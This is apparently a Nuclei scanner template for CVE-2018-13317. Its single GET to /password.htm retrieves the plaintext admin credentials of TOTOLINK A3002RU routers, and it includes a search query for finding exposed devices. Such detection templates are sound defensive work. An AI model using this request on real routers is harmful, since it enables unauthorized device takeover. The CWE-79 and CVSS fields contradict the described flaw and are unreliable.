id: CVE-2018-13317

info:
  name: TOTOLINK A3002RU 1.0.8 - Information Disclosure
  author: ritikchaddha
  severity: medium
  description: |
    TOTOLINK A3002RU firmware version 1.0.8 contains a vulnerability in which an unauthenticated attacker can obtain the plaintext admin password by making a GET request for `password.htm`. This allows remote attackers to gain administrative access without credentials.
  impact: |
    Unauthenticated attackers can obtain the plaintext administrator password without any authentication, leading to complete device compromise.
  remediation: |
    Update to the latest firmware version that addresses this vulnerability.
  reference:
    - https://blog.securityevaluators.com/new-vulnerabilities-in-totolink-a3002ru-d6f42a081154
    - https://nvd.nist.gov/vuln/detail/CVE-2018-13317
  classification:
    cve-id: CVE-2018-13317
    epss-score: 0.00171
    epss-percentile: 0.3789
    cwe-id: CWE-79
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cpe: cpe:2.3:o:totolink:a3002ru_firmware:1.0.8:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-requests: 1
    vendor: totolink
    product: a3002ru
    fofa-query: title="totolink"
  tags: cve,cve2018,totolink,password,exposure,vkev

http:
  - method: GET
    path:
      - "{{BaseURL}}/password.htm"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - orgpassword=[^&\s]+"
          - orgusername=[^&\s]+
        condition: and

      - type: word
        part: body
        words:
          - "orgpassword=''"
        negative: true

      - type: status
        status:
          - 200
# digest: 4b0a0048304602210087d92bd33452b44c3658b48adad37480e4cec1543f8f3281384f62754e616804022100f9b31a817d9435618a2d71be3324ae1fb11ae2e9fb92ee649ee5cc4884c1a0fe:922c64590222798bb761d5b6d8e72950